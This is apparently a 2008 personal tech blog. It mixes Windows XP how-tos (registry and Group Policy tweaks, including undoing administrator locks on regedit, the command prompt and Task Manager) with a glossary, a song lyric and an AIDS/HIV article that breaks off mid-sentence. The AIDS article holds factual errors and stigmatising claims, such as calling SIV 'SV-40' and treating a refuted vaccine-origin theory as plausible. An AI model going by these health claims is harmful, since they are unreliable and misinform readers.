In the lower-right pane, right-click the basic disk that you want to convert, and then click Convert to Dynamic Disk. You must right-click the gray area that contains the disk title on the left side of the Details pane.

Select the check box that is next to the disk that you want to convert (if it is not already selected), and then click OK.

Click Details if you want to view the list of volumes in the disk. Click Convert.

Click Yes when you are prompted to convert the disk, and then click OK.

Warning: After you convert a basic disk to a dynamic disk, local access to the dynamic disk is limited to Windows XP Professional, Windows 2000 and Windows Server 2003. Additionally, after you convert a basic disk to a dynamic disk, the dynamic volumes cannot be changed back to partitions. You must first delete all dynamic volumes on the disk and then convert the dynamic disk back to a basic disk. If you want to keep your data, you must first back up the data or move it to another volume.

Dynamic Storage Terms

A volume is a storage unit made from free space on one or more disks. It can be formatted with a file system and assigned a drive letter. Volumes on dynamic disks can have any of the following layouts:

Simple,
Spanned,
Mirrored,
Striped, or
RAID-5.

1.Simple VOlume: A simple volume uses free space from a single disk. It can be a single region on a disk or consist of multiple, concatenated regions. A simple volume can be extended within the same disk or onto additional disks. If a simple volume is extended across multiple disks, it becomes a spanned volume.

2.SPanned Volume: A spanned volume is created from free disk space that is linked together from multiple disks. You can extend a spanned volume onto a maximum of 32 disks. A spanned volume cannot be mirrored and is not fault-tolerant.

3.Striped Volume:A striped volume is a volume whose data is interleaved across two or more physical disks. The data on this type of volume is allocated alternately and evenly to each of the physical disks. A striped volume cannot be mirrored or extended and is not fault-tolerant. Striping is also known as RAID-0.

4.Mirrored:A mirrored volume is a fault-tolerant volume whose data is duplicated on two physical disks. All of the data on one volume is copied to another disk to provide data redundancy. If one of the disks fails, the data can still be accessed from the remaining disk. A mirrored volume cannot be extended. Mirroring is also known as RAID-1.

5.RAIdD.A RAID-5 volume is a fault-tolerant volume whose data is striped across an array of three or more disks. Parity (a calculated value that can be used to reconstruct data after a failure) is also striped across the disk array. If a physical disk fails, the portion of the RAID-5 volume that was on that failed disk can be re-created from the remaining data and the parity. A RAID-5 volume cannot be mirrored or extended.

The system volume contains the hardware-specific files that are needed to load Windows (for example, Ntldr, Boot.ini, and Ntdetect.com). The system volume can be, but does not have to be, the same as the boot volume.

The boot volume contains the Windows operating system files that are located in the %Systemroot% and %Systemroot%\System32 folders.

The boot volume can be, but does not have to be, the same as the system volume.

How To Enable or Disable Simple File Sharing in Windows XP

2008-12-30T10:01:00.003+05:30

How To Enable or Disable Simple File Sharing in Windows XP:

What You Need:
Computer running Windows XP Professional or above.

Simple File Sharing is a feature introduced in Microsoft Windows XP. Simple File Sharing removes some file sharing security options available in other versions of Windows. This helps Windows XP administrators quickly set up folder shares.

Simple File Sharing (SFS) is always enabled and cannot be disabled in Windows XP Home Edition. The below step-by-step instructions explain how to enable/disable SFS in Windows XP Professional.

Open My Computer from the Start Menu or Windows XP Desktop. A new My Computer window will appear.
Open the Tools menu and choose the "Folder Options..." option from this menu. A new Folder Options window will appear.
Click on the View tab and locate the "Use Simple File Sharing (Recommended)" checkbox in the list of Advanced Settings.
To enable Simple File Sharing, ensure this checkbox is checked. To disable Simple File Sharing, ensure this checkbox is not checked. Click inside the checkbox to alternately enable and disable the option.
Click OK to close the Folder Options window. The settings for Simple File Sharing are now updated; no computer reboot is required.

Tips:

The Simple File Sharing checkbox should be at or near the bottom of the Advanced Settings list in the My Computer Folder Options.
Enabling Simple File Sharing prevents the ability to assign user-level passwords to shares. When Simple File Sharing is enabled on a computer, remote users will not be prompted for a password when accessing that computer's shares.
If the Windows XP Professional computer is part of a Windows domain rather than a Windows workgroup, this process for enabling or disabling Simple File Sharing has no effect. Simple File Sharing always remains disabled for computers joined to domains.

Changing the Windows Media Player Titlebar

2008-12-30T09:49:00.003+05:30

Changing the Windows Media Player Titlebar
START>RUN> type RegEdit.
Browse to the following key:
HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer

Note:-(If the WindowsMediaPlayer subkey isn't there create it)
Create a new string value named TitleBar. Double click on it and change it to optional like"Pradeep Kumar Attri".
Exit from REGESTRY EDITOR
You will see in the title Bar Window Media Player Provided by Pradeep Kumar Attri

Renaming a series of files....

2008-12-29T14:02:00.001+05:30

Rename a Series of Files

When you download photos from your digital camera, they often have unrecognizable names. You can rename several similar files at once with the following procedure. This also works for renaming other types of files.1.Open the My Pictures folder. (Click Start, and then click My Pictures.) Or open another folder containing files that you want to rename. 2.Select the files you want to rename. If the files you want are not adjacent in the file list, press and hold CTRL, and then click each item to select it. 3.On the File menu, click Rename. 4.Type the new name, and then press ENTER. All of the files in the series will be named in sequence using the new name you type. For example, if you type Birthday, the first will be named Birthday and subsequent files in the series will be named Birthday (1), Birthday (2), and so on. To specify the starting number for the series, type the starting number in parentheses after the new file name. The files in the series will be numbered in sequence starting with the number you type. For example, if you type Birthday (10), the other files will be named Birthday (11), Birthday (12), and so on

How to Create a Custom Title in the Internet Explorer Window

2008-12-29T13:48:00.004+05:30

How to Create a Custom Title in the Internet Explorer Window
IE 6.0:
# Go to
START -> Run. Enter regedit and press ENTERto open the Registry Editor.
Navigate to HKEY_CURRENT_USER > Software > Microsoft > Internet Explorer > Main.

You can click on the + next to each of the folders to open them.
You should see a list of entries.
Scroll down until you see Window Title.
Double-click on Window Title.
A pop-up window should appear with the contents "Microsoft Internet Explorer".
Erase these contents and enter your custom title in the text box.
Click OK.
Close the Registry Editor.

The next time that you open Internet Explorer, you will see the text on your title bar.

IE7:
Open Registry Editor (Start>Run>Type "regedit")
Navigate to : HKEY_CURRENT_USER > Software > Microsoft > Internet Explorer > Main.
You can click on the + next to each of the folders to open them.
Right click on a blank space of the right panel and make a new String Value (New>String Value) and name it Window Title, unless it doesn't already exist.
Double click the new value that you have made and type in the Value Data box what you your title bar to end with.

Have any comment or Query attri.pradeepkumar@gmail.com

Registry Editing has been disabled by your administrator

2008-12-29T13:23:00.002+05:30

"Registry Editing has been disabled by your administrator"

Method 1:

Using the Group Policy Editor (Windows XP Professional only)
Click Start, Run and type gpedit.msc and press ENTER
Go to the following location:
User Configuration Administrative Templates System
Double-click Disable registry editing tools and set it to Not Configured
Exit the Group Policy Editor

"The command prompt has been disabled by your administrator"

2008-12-29T12:51:00.003+05:30

"The command prompt has been disabled by your administrator"

Method 1:

Edit the registry directly
Open Registry Editor (Regedit.exe) and navigate to:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
In the right-pane, double-click Disable CMD and set it's data to 0

Method 2:

Using Group Policy Editor in Windows XP Professional.
Click Start, Run, type gpedit.msc and click OK.
Navigate to User Configuration \ Administrative Templates \ System
Double-click the Prevent access to the command prompt

You can then disable or set the policy to Not Configured. Disabling or setting this policy to Not Configured should solve the problem.

Task Manager has been disabled by your administrator

2008-12-29T12:10:00.003+05:30

Method 1
Click Start, Run and type Regedit.exe
Navigate to the following branch:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System
In the right-pane, delete the value named DisableTaskMgr
Close Regedit.exe

Method 2: Using Group Policy Editor - for Windows XP Professional
Click Start, Run, type gpedit.msc and click OK.
Navigate to this branch:

User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager
Double-click the Remove Task Manager option.
Set the policy to Not Configured.

How to change registered owner`s name on Win XP

2008-12-29T11:46:00.001+05:30

How to change registered owner`s name on Win XP:

1- Run regedit
2- Find and go to below key:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version
3-Change your name in following subkey :
Registered OwnerBe successful!

Add Recycle Bin to Folder Options

2008-12-27T16:16:00.004+05:30

Listings 1 and 2 are the direct way to hide the Recycle Bin icon. To demonstrate one of the cooler ways to hack the Windows XP registry, I'll show you a better way to hide the icon. We'll give it a user interface.
Listing 3 does just that. It extends Folder Options by adding an option for showing the Recycle Bin icon on the desktop. Customizing the key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder is how you add options to this dialog box. Advanced users can use this key as a guide for how to extend it. Beginners can use this script to add an option for the Recycle Bin icon: Save Listing 3 below in the text file Binopt.reg and then double-click it. After importing Binopt.reg into the registry, a new option is listed in the Folder Options dialog box that lets you configure the Recycle Bin icon, as shown in Figure 1.

Figure.1

To hide or show the Recycle Bin icon using Folder Options, follow these steps:
1.
In Windows Explorer, on the Tools menu, click Folder Options.
2.
On the View tab, under Advanced Settings, do one of the following:
•
Select the Show Recycle Bin icon on the desktop check box to show the icon on your desktop.
•
Clear the Show Recycle Bin icon on the desktop check box to remove the icon from your desktop.

Enable/Disable CD Burning.....

2008-12-27T16:07:00.004+05:30

Enable/Disable CD Burning

If you choose to use a different CD burning program than the one supplied with Windows XP this edit will disable the default burner. In most cases this isn't necessary even if you choose an alternative burning program, but there are a few badly behaved burning programs out there that insist on this modification.

Start] [Run] [Regedit]

RegistryKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerModify/

Create the Value Name [NoCDBurning] according to the Value Data listed below.Data Type: REG_DWORD [Dword Value] // Value Name: NoCDBurningValue

Data: [0 - Enable Burning / 1 - Disable Burning]

Exit Registry and Reboot

Enable/Disable CD Burning for the Local Machine
[Start] [Run] [Regedit]Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\ExplorerModify/
Create the Value Name [NoCDBurning] according to the Value Data listed below.Data Type: REG_DWORD [Dword Value] // Value Name: NoCDBurningValue Data: [0 - Enable Burning / 1 - Disable Burning]

Exit Registry and Reboot

UNABLE TO OPEN ANY DRIVE IN MY COMPUTER:

2008-12-27T15:56:00.003+05:30

UNABLE TO OPEN ANY DRIVE IN MY COMPUTER:

Get Rid from you problem by following steps
First go to run then write " regedit"
this is registry editor
then find " ctrl+f" in the search box write "mountpoints2" and delete it ...... then again press "ctrl+f" again find mountpoints2 until all these files would not be deleted then u will find ur problems is solved................
HAve problem conact me personaly at pradipkumarattri@gmail.com

How to Restrict Users from Running Specific Windows Programs by Using Group Policy

2008-12-26T18:35:00.003+05:30

Method 1: How to Restrict Users from Running Specific Windows Programs by Using Group Policy

To use Group Policy Object Editor to restrict users from running specific Windows programs, use the procedure that is described in the section that is appropriate to your situation.
Editing the Local Policy on a Windows 2000-Based Computer

To restrict users from running specific Windows programs on a standalone Windows 2000-based computer:

Click Start, and then click Run.
In the Open box, type gpedit.msc, and then click OK.
Expand User Configuration, expand Administrative Templates, and then expand System.

In the right pane, double-click Don't run specified Windows applications.
Click Enabled, and then click Show.
Click Add, and then type the executable file name of the program that you want to restrict users from running. For example, type iexplore.exe.
Click OK, click OK, and then click OK. NOTE: If domain-level policy settings are defined, they may override this local policy setting.
Quit Group Policy Object Editor.
Restart the computer.

Basic Computer Glossary

2008-12-26T16:49:00.003+05:30

ActiveX Controls

ActiveX controls are reusable software programs. Microsoft designed the Internet Explorer web browser to use ActiveX controls to add functionality to web pages. ActiveX Controls have been greatly criticized for their ability to be used by unethical developers to create computer viruses, trojans and spyware infections. ActiveX controls are unsafe for users of Internet Explorer. The problems occur when a user surfs to a non-trusted web page and that web page contains a malicious ActiveX control.

Adware

Any advertising software which automatically plays, displays, or downloads advertising material to a computer after the software is installed on it or while the application is being used.

Bandwidth

Bandwidth in computer networking refers to the data speed supported by a network connection. It is most often expressed in terms of bits per second (bps) or megabits per second (Mps). The term represents the total distance between the highest and lowest signals on the communication channel (band).

Blog

A frequent, chronological publication of personal thoughts and web links. Blogs are short for weblogs.

Broadband

The term Broadband is usually used to describe any high speed connection to the internet.

Cable Modem

A modem designed to operate over cable TV lines. Because the coaxial cable used by cable TV provides much greater bandwidth than telephone lines, a cable modem can be used to achieve extremely fast access to the World Wide Web.

Cathode Ray Tube (CRT)

A glass tube in which streams of electrons, known as cathode rays, are produced. These rays are used to display images in television sets, computer monitors, etc.

Central Processing Unit (CPU)

A central processing unit (CPU), or often simply called a processor, is the component in a computer that interprets instructions and processes data contained in computer programs.

Complementary-symmetry/Metal-Oxide Semiconductor (CMOS)

CMOS stores information about your computer system as well as the current date and time. Like RAM, this memory needs electricity to keep working, but it only needs a very small amount. A small battery keeps it running for 4-5 years. If the CMOS battery dies, your computer may not start up correctly. You will have to have the battery replaced, and, you will probably have to re-enter the setup information about your computer system.

Dial-up

Refers to connecting a device to a network via a modem and a public telephone network. Dial-up access is really just like a phone connection, except that the parties at the two ends are computer devices rather than people. Because dial-up access uses normal telephone lines, the quality of the connection is not always good and data rates are limited.

Digital Subscriber Line (DSL)

A technology for bringing high-bandwidth information to homes and businesses over ordinary copper telephone lines.

Downloading

The process of copying a file from an Internet site to the hard drive of a personal computer.

Dual Core CPU (Central Processing Unit - see above)

A dual core CPU refers to a CPU that includes two complete processors in a single integrated circuit (chip). Dual core processors are well-suited for multitasking environments because there are two complete execution cores (brains) instead of one.

Email program

A computer program which users use to create, send, read and store email messages.

Email virus

An email virus will use an email message as transportation, and will copy itself by automatically mailing itself to hundreds of people in the victim's address book.

Encryption

A way of coding the information in a file or email so that if it is read by a third party as it travels over a network it cannot be read. Only the persons sending and receiving the information have the key and this makes it unreadable to anyone except the intended persons.

Firewall

A system that prevents unauthorized access to or from a private network. Firewalls can be hardware or software, or a combination of both.

FireWire

FireWire, otherwise known as IEEE 1394, is a high performance connection used to connect computers to external hard disk drives and CD-R/RW recorders as well as consumer electronics devices like digital camcorders, televisions and game consoles. Firewire interfaces come standard on most Apple Macintosh systems and on some PCs.

Font

A design for a set of characters. A font is the combination of typeface and other qualities, such as size and spacing. The term font is often used incorrectly as a synonym for typeface. The font you're currently looking at is called Arial.

Hacker

A clever programmer.

Hard Drive/Hard Disk

Most commonly used computer storage device which reads and writes one or more spinning disks. Hard drives are the storage medium in desktop and laptop computers.

Icon

An icon is a tiny picture on the screen that represents a program, file or folder.

Internet Message Access Protocol (IMAP)

A method of accessing electronic mail that are kept on a mail server. It allows an email program to access remote message stores as if they were local. Email stored on an IMAP server can be accessed from a desktop computer at home, a workstation at the office, and a notebook computer while traveling, without the need to transfer messages or files back and forth between these computers.

Internet Protocol (IP) Address

A string of four numbers separated by periods (such as 192.168.211.100) used to represent a computer on the Internet.

Internet Service Provider (ISP)

Internet Service Provider. A company that provides an Internet connection.

Key logger

Sometimes called a keystroke logger, key logger, or system monitor, it is a hardware device or small program that monitors each keystroke a user types on a specific computer's keyboard.

Liquid Crystal Display (LCD)

A low-power flat-panel display used in many computers. It is made up of liquid crystal that is sandwiched between layers of glass or plastic and becomes opaque when electric current passes through it. The contrast between the opaque and transparent areas forms visible characters.

Mail Server

A mail server is a program that receives incoming email from users and remote senders and forwards outgoing email for delivery. A computer dedicated to running such applications is also called a mail server.

Malware

Short for "malicious software" and is used as a term to refer to any software which causes damage to a single computer, server, or computer network.

Megapixel

A million pixels - picture elements - or tiny dots that make up a digital image. It is a measure commonly used to described the image quality that a digital camera is capable of - the more megapixels, the better.

Multi-purpose Internet Mail Extensions (MIME)

A standard that allows Internet users to exchange email messages enhanced with graphics, video, and voice as attachments to the body of the text.

Nerd

Technically bright but socially inept person.

Network Address Translation (NAT)

Network Address Translation is an Internet standard that enables a local-area network (LAN) to use one set of IP addresses for internal traffic and a second IP address for external traffic. A NAT box (router) is located where the LAN meets the Internet and makes all necessary IP address translations. NAT provides a type of firewall by hiding internal IP addresses.

Office Suite

A collection of powerful programs for business and home use. Suites make it easy for users to create and share information in databases, spreadsheets, and word processors, as well as other applications like presentation software.

Phishing

Phishing is email fraud where the perpetrator sends out legitimate looking emails that appear to come from trustworthy web sites in an attempt to gather personal and financial information from the recipient.

Podcast

A pre-recorded audio program that is made available for download (manually or automatically) so people can listen to them on personal computers or mobile devices.

Portal

A web site that the user sets up as an entrance to other sites on the internet. A portal typically has search engines, email, news, etc.

Post Office Protocol (POP)

A set of rules by which a computer can retrieve electronic mail from a mail server. The POP server holds the email until the user can retrieve it. POP does not provide for sending email which is usually done via SMTP. POP3 can be used with or without SMTP.

Presentation Program

A computer program used to create and display presentations, usually in the form of a "slide show". Microsoft Powerpoint is one of the most popular presentation programs.

QWERTY

The QWERTY keyboard is the standard typewriter and computer keyboard in most countries. QWERTY refers to the first six letters on the upper row of the keyboard. The key arrangement was devised by Christopher Latham Sholes whose Type-Writer, as it was then called, was first mass-produced in 1874.

Random Access Memory (RAM)

The best known form of computer memory. RAM is considered "Random Access" because you can access any memory cell directly. RAM is volatile memory -- its contents are lost as soon as power to the computer is turned off.

Read Only Memory (ROM)

This memory holds all the basic instructions the computer needs to do very simple stuff, such as making the letter "X" appear on the monitor when you press the "X" key. This memory cannot be changed, so losing power does not affect it.

Ripping

Ripping (also referred to as digital audio extraction) is the process of copying the audio or video data from one media form, such as DVD or CD, to a hard drive. To conserve storage space, the copied data is usually encoded in a compressed format such as MP3 or WMA for audio, or MPEG-2, or MPEG-4 for video.

Root kit

A rootkit is a collection of programs that enable administrator-level access to a computer or computer network. Typically, a cracker installs a rootkit on a computer after first obtaining user-level access, either by exploiting a known vulnerability or cracking a password. Once the rootkit is installed, it allows the attacker to mask intrusion and gain root or privileged access to the computer and, possibly, other machines on the network.

RSS

A format for information syndication, enabling the publishing of data which can then be reused in other contexts. RSS sources are often called feeds, meaning that new information is produced and published regularly and can be obtained from these feeds. RSS stands for Really Simple Syndication.

Secure Sockets Layer (SSL)

Pronounced as separate letters and short for Secure Sockets Layer, a protocol for transmitting private documents via the Internet. SSL uses two keys to encrypt data - a public key known to everyone and a secret key known only to the recipient of the message. Many Web sites use the protocol to obtain confidential user information, such as credit card numbers. By convention, URLs that require an SSL connection start with https: instead of http:.

Server

A computer system that provides client stations with access to files as shared resources to a computer network .

Simple Mail Transfer Protocol (SMTP)

This is a set of rules used for sending email over the Internet. Your email program uses SMTP to send a message to the mail server and the mail server uses SMTP to relay that message to the correct receiving mail server. SMTP is a set of commands that authenticate and direct the transfer of electronic mail.

Sniping

The practice of bidding in the last few seconds of an auction in order to prevent other bidders from outbidding you. The truth is, if you really want an item, sniping will almost always allow you to be the highest bidder, assuming you bid high enough. Many smart bidders, however, simply bid the maximum amount they are willing to spend on an item and don´t worry about it.

Software

Operating instructions for specific task based applications. The computer processors (CPU) carry out these instructions. These include all packaged programs like word processing, image editing, databases, games, and so on. Software has to be written for a specific computer operating system (OS) like Windows, Apple or Linux.

Spam

An inappropriate attempt to use email as if it was a broadcast medium by sending the same message to many people who didn't ask for it.

Spreadsheet

A computer program that lets the user enter numbers or text into a table with rows and columns. These numbers can be manipulated using formulas.

Spyware

Computer software that collects personal information about users without their informed consent. The term is often used interchangeably with adware and malware. Personal information is secretly recorded with techniques such as logging keystrokes, recording browsing history, and scanning documents on the computer's hard disk. Some spyware attempts to track the web sites a user visits and then send this information to an advertising agency. More malicious variants attempt to intercept passwords or credit card numbers as a user enters them into a web form or other applications.

Trojan horse

A Trojan horse is a computer program that pretends to do one thing (like claim to be a picture) but actually does damage when one starts it (it can completely erase one's files). Trojan horses cannot replicate automatically.

Uploading

Moving or copying a file from a local computer to a remote network or Web server.

USB

The Universal Serial Bus (USB) is used to connect many types of peripherals to a computer including joysticks, mice, keyboards, printers, scanners and external CD-R/RW, DVD-R/RW recorders. Computers do not have to be rebooted when a USB device is attached because these devices are automatically recognized by the system. USB version 2.0 is the latest version allowing improved performance. Most modern PCs come equipped with several USB connections.

Virus

A virus is a software program capable of reproducing itself and usually capable of causing great harm to files or other programs on the same computer.

Word Processor

A computer program designed to replace the typewriter. A word processor can create, edit, print, and store documents.

Worm

A worm is software that uses computer networks and security flaws to create copies of itself. It replicates itself to new computers using the flaws and then begins scanning and replicating again.

------------------------------------------------------------------contact me for more details

He'll Carry You

2008-12-25T18:44:00.002+05:30

"He knows your heart
He knows your pain
He knows the strength it took just to simply breathe today
He sees the tears that you cry
He knows your soul is aching to know why.

He hears your prayers, each humble word
When you said you couldn't face another day He understood
He knows the path when you walk blind
Though you've felt alone He's never left your side.

He knew there'd be moments when no earthly words could take away your sorrow
And no human eyes could see what you're going through
When you've taken your last step and done all that you can do
He will lift your heavy load and carry you.

He'll bring you peace and leave you hope
And in the darkest night He'll comfort you until you know
the sun will rise
And each new day
You will have the strength to live again.

And in the moments when no earthly words can take away your sorrow
And no human eyes can see what you're going through
When you've taken your last step and done all that you can do
He will lift your heavy load and carry you.

He hears you
when you're crying in the night
He hears you
when your soul longs to fight
'Til the morning will come
and the light of the dawn reassures-

That in the moments when no earthly words can take away your sorrow
And no human eyes can see what you're going through
When you've taken your last step and done all that you can do
He will lift your heavy load and carry you."

What is Group Policy:

2008-12-25T18:13:00.003+05:30

Group Policy gives you administrative control over users and computers in your network. By using Group Policy, you can define the state of a user's work environment once, and then rely on Windows Server 2003 to continually force the Group Policy settings that you apply across an entire organization or to specific groups of users and computers.

Group Policy Advantages:

You can assign group policy in domains, sites and organizational units.
All users and computers get reflected by group policy settings in domain, site and organizational unit.
No one in network has rights to change the settings of Group policy; by default only administrator has full privilege to change, so it is very secure.
Policy settings can be removed and can further rewrite the changes.

Where GPO's store Group Policy Information

Group Policy objects store their Group Policy information in two locations:

Group Policy Container:

The GPC is an Active Directory object that contains GPO status, version information, WMI filter information, and a list of components that have settings in the GPO. Computers can access the GPC to locate Group Policy templates, and domain controller does not have the most recent version of the GPO, replication occurs to obtain the latest version of the GPO.

Group Policy Template:

The GPT is a folder hierarchy in the shared SYSVOL folder on a domain controller. When you create GPO, Windows Server 2003 creates the corresponding GPT which contains all Group Policy settings and information, including administrative templates, security, software installation, scripts, and folder redirection settings. Computers connect to the SYSVOL folder to obtain the settings.

The name of the GPT folder is the Globally Unique Identifier (GUID) of the GPO that you created. It is identical to the GUID that Active Directory uses to identify the GPO in the GPC. The path to the GPT on a domain controller is systemroot\SYSVOL\sysvol.

Managing GPOs

To avoid conflicts in replication, consider the selection of domain controller, especially because the GPO data resides in SYSVOL folder and the Active Directory. Active Directory uses two independent replication techniques to replicate GPO data among all domain controllers in the domain. If two administrator's changes can overwrite those made by other administrator, depends on the replication latency. By default the Group Policy Management console uses the PDC Emulator so that all administrators can work on the same domain controller.

WHAT IS BLOGGING??????????????

2008-12-25T12:04:00.002+05:30

A Confusing Question: What is Blogging:

The word blog is a shortened version of the term web log. When one writes a blog and maintains it by adding or removing entries that is called blogging. With blogging the author is not simply called an author but a blogger. And each piece that is written is not simply known as an article but as a blog post, post, or entry. Blogging started in 1995 and started with the express purpose of sharing one's thoughts with people that had similar views.

Blogs can be written on just about any topic and are often like an online diary that allows the blogger to express his or her personal interests and views on everything and anything. Most people blog on a blog site that includes web pages, text, images, and even links to other blogs. While blogging started out as a somewhat limited media, now it has really exploded and you can find a blog on just about any topic you can think of. Blogging has really taken off because it allows authors to write in a fashion that is sort of outside the box. Blogs started out as a limited source of information, but they have become a great way to communicate, and get information on business, education, politics, photos, and your favorite celebrities.

Surprisingly, many people have found interesting ways to make money with their blogs. Adding Google ads is a great way to make some money while having ads on your blog that are relevant to the topic at hand. The way this works is that Google will place an ad or link on the pages of the blog, if a reader clicks on the ad, the blogger gets paid a set amount for each ad. While one click may not make one a millionaire, if the blogger consistently provides great material on his or her blog, visitors will continue to read and even click, earning the blogger some easy money.

Luckily, setting up a blog doesn't have to be difficult. There are a ton of free blogging websites out there that simply offer templates that allow the blogger to enter his or her text and hit the submit button. The hardest part of this process is deciding what category your blog will fall under, and then providing interesting text each and every time you post. Belonging to such a website will make posting easy, will make archiving simple, and will make it very simple for interested parties to return again and again. These websites also make it simple for interested parties to start discussions about the blog text, which can drum up even more interest. Bloggers can use their own software to establish their blog on their own, or they can look into Tripod, Yahoo, Google or America Online which all offer blogging opportunities.

There is no doubt that blogging has come a long way in the last 11 years. Blogging is now a great outlet for anyone out there that wishes to share his or her thoughts on any topic through a personal or even professional blog. Money can be made through blogging, but generally blogging can just be a great outlet and a way to meet people that share your opinions.

How do I unstall Internet explorer

2008-12-25T11:50:00.003+05:30

If you are having problems with Internet Explorer, or would like to uninstall it for any reason, this is a relatively simple task.

Steps to Uninstall Internet Explorer:

Click the "Start" button that is located on the bottom left hand corner of your desktop.
From there, scroll the mouse up to the "Control Panel" button and double click this button.
The Control Panel window will open, and provide you with a variety of tasks you can perform.
Double click on "Add or Remove Programs"
The "Add or Remove Programs" window opens and provides you with a list of programs installed on your computer.
The next step is to find whatever version of "Internet Explorer" is installed on the computer. You can highlight it by clicking it once.
Then click the "Change or Remove" button, and follow the instructions from there.

For some Windows users who have installed a service pack recently, Internet Explorer is not available in the list of programs in the "Add or Remove Programs" window. The alternative to this in Windows XP is to choose the "Add/Remove Windows Components" located on the left hand side of the "Add or Remove Programs" window.
The Windows Components Wizard opens and allows you to add or remove a Windows component by placing or removing a checkmark next to it. You can remove the checkmark next to Internet Explorer and click the "Next" button at the bottom of the page to uninstall Internet

PC CaSe reFerence MOdel............

2008-12-25T11:42:00.002+05:30

What is AIDS & HIV?

2008-12-23T13:39:00.009+05:30

AIDS

No other word engenders as much fear, revulsion, despair and utter helplessness as AIDS. Despite increased AIDS awareness, the terror persists. AIDS is, in fact, rewriting medical history as humankind's deadliest scourge. With 40 million deaths forecast in this millennium, statistics tell their own sordid tale.

The first recorded sample of HIV was discovered in 1959 in a blood specimen obtained at Leopoldville (now Kinshasa) in the Belgian Congo. This was the first known death chalked up by AIDS. The HIV is thought to have originally affected chimpanzees. The crossover of the virus from animals to humans may have occurred in the 1950s through an accident or a bite.

Intermittently, other theories of its origins have been advanced during the ongoing process of AIDS research. One theory, put forward by Bette Korber, traces the disease to a single viral ancestor that could have emerged between 1910 and 1950. Through an AIDS research analysis done at the Los Alamos National Lab in New Mexico, Korber contends that the pandemic may have come from one or more infected humans around 1930.

Another highly controversial—but plausible—theory is that of American philosopher, Louis Pascal, first spelt out in 1987. All the early AIDS cases originated in the Central African states of Congo, Rwanda or Burundi. This belt was subjected to trials of a live polio vaccine on 300,000 men, women and children.

Pascal argued that the vaccine, which was grown in cultures obtained from chopped up chimpanzee kidneys, may have carried this virus. Polio researcher Dr Albert Sabin had reported that such a batch was contaminated by an unknown virus. In fact, monkeys harbor SIV or simian immunodeficiency virus (SV-40 to be more specific), which is thought to be the ancestor of HIV.

The first cases of AIDS were reported in the United States in 1981, amongst male homosexuals in Los Angeles and New York. Within two decades, up to 50 million may have been infected globally, approximately 22 million have succumbed and nearly 15,000 new infections are said to occur daily. With a definite AIDS cure still in the research stages, an increased AIDS awareness, counseling and alternative therapy treatments seem to offer the only succor.

HIV has two major categories: HIV-1 and HIV-2. HIV-1, which currently has about 10 subtypes, is most common worldwide and the only form found in the US. HIV-2 is less virulent and though currently confined to West Africa—it's spreading.

The Human Immunodeficiency Virus (HIV) basically provokes an infection, which destroys the body's immune system. And AIDS or Acquired Immune Deficiency Syndrome is the advanced stage of this disease, when the immune system becomes irreparably damaged, engendering multiple infections and cancers. A person is considered HIV positive when s/he tests positive for any of the 26 diseases (Kaposi's sarcoma, lymphoma, pulmonary tuberculosis, recurrent pneumonia within a 12-month period, wasting syndrome and other indicators) that can easily invade the body during our immune system's nonfunctionality.

On invading the body, the virus specifically attacks T-cells. A core part of the human defence system, they mobilize other cells to seek and destroy contagious foreign elements besid es leading the immune system's fight against infections. T-cells are targeted because the AIDS virus parasitizes the CD4 molecules on their surface.

With a protective outer shell of proteins and glyco-proteins, the AIDS virus contains genetic information on the inside. Although substantially smaller than the host T-cells—the virus reproduces by sponging off the host's cellular resources! Our body fights back by producing up to two billion new T-cells to replace the infected ones, stabilizing the T-cell count temporarily. Yet from day one, the T-cells fight a losing battle.

The genetic information of the AIDS virus, which is encoded as RNA (ribonucleic acid), needs to be reverse transcripted—which the intruder accomplishes with the help of the host cell itself! The now legible DNA is thereafter randomly transferred into the nucleus. All this is accomplished barely a dozen hours following the infection. By this time, the aggressor begins to substantially weaken the host cell, which eventually dies, eroding the immune system and making the body vulnerable to diseases.

Although HIV targets T-cells and other cells in the body, it thrives mainly in the lymph nodes—another important part of the immune system. Each lymph node has a netlike structure inside it that acts as a protective filter by trapping virus and infected T-cells. But as healthy T-cells move through contaminated lymph nodes, they are infected by HIV. Particularly during the early stage of the disease, lymph nodes contain more infected cells than the blood.

In the early stages, a mild flu and swollen glands are typical. But the symptoms are often unmistakeable when full-blown AIDS develops. Loss of appetite, weight loss, constant fever, prolonged fatigue, diarrhea, constipation, changing bowel patterns, swollen glands, chills coupled with excessive sweating, especially at nights, lesions in the mouth, sore throat, persistent cough, shortness of breath, tumours, skin rashes, headaches, memory lapses, swelling in the joints, pain in various parts of the body, vision problems and a regular feeling of lethargy and ill health make up the litany of symptoms.

With immune systems out of kilter, HIV-positive persons are susceptible to several types of cancer, particularly Kaposi's sarcoma (KS), an uncommon form that occurs under the skin and in the mucus membranes of the eyes, nose and mouth. Affected persons have lesions that appear as dark-coloured raised blotches. Though the lesions are painless, once KS spreads to the lungs, lymph nodes and digestive tract, the victim experiences difficulty in breathing, gastrointestinal bleeding and painful swelling around the lymph nodes, especially in the legs.

HIV is transmitted primarily by sex (anal, vaginal or oral sex with an infected partner), by injections (sharing contaminated needles for drug use or accidental piercing with a contaminated needle), or from infected mother to child through pregnancy or breast-feeding.Infected semen and vaginal fluids, infected blood and blood products lead to the transmission of HIV. Drug abuse with unsterilized needles is another high-risk activity. Unprotected sex with multiple partners is the primary cause of infection. During unprotected sex, the infected fluid could enter the bloodstream through a tiny cut or a sore. Anal penetration has a higher risk of transmission, which is why a high percentage of homosexuals develop the disease. Bleeding during sex also raises the chances of infection. Therefore unprotected sex during menstrual periods and anal intercourse are best avoided. An infected mother can also transmit the virus to her baby before or during birth or through breast milk. Although traces of HIV have been detected in body fluids (saliva, urine, faeces and tears) there is no evidence that HIV spreads through these fluids. Nor is it water-borne, air-borne or transmitted through mosquitoes and other insects. Some HIV-infected patients progress to AIDS quickly while others can remain healthy for 10 years or more. Between initial infection and full-blown disease, a middle phase called symptomatic HIV infection, or AIDS-related complex (ARC), occurs, prompting 